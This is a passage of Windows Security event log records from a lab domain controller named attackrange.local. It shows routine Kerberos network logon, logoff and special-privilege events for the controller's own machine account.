ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248764
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xC3279

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:47:40 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248763
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xC3279
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::1810:3209:f5ff:fef1
	Source Port:		64025

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:47:40 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248762
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xC3279

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:47:40 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248761
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xC3218

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:47:40 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248760
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xC3218
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		64024

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:47:40 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248759
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xC3218

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:47:40 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248758
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xC31B2

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:47:40 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248757
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xC31B2
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	2001:0:2851:782c:1810:3209:f5ff:fef1
	Source Port:		64023

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:47:40 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248756
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xC31B2

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:47:40 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248755
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xC3151

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:47:40 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248754
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xC3151
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		64022

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:47:40 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248753
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xC3151

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:47:41 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248776
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xC3410

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:47:41 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248775
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xC3410
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::1810:3209:f5ff:fef1
	Source Port:		64029

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:47:41 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248774
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xC3410

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:47:41 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248773
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xC33AF

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:47:41 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248772
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xC33AF
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		64028

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:47:41 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248771
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xC33AF

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:47:41 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248770
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xC3349

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:47:41 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248769
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xC3349
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	2001:0:2851:782c:1810:3209:f5ff:fef1
	Source Port:		64027

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:47:41 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248768
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xC3349

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:47:41 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248767
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xC32E8

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:47:41 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248766
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xC32E8
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		64026

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:47:41 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248765
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xC32E8

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:47:42 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248789
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xC35AE

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:47:42 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248788
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xC35AE
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::1810:3209:f5ff:fef1
	Source Port:		64033

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:47:42 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248787
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xC35AE

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:47:42 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248786
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xC354D

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:47:42 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248785
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xC354D
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}
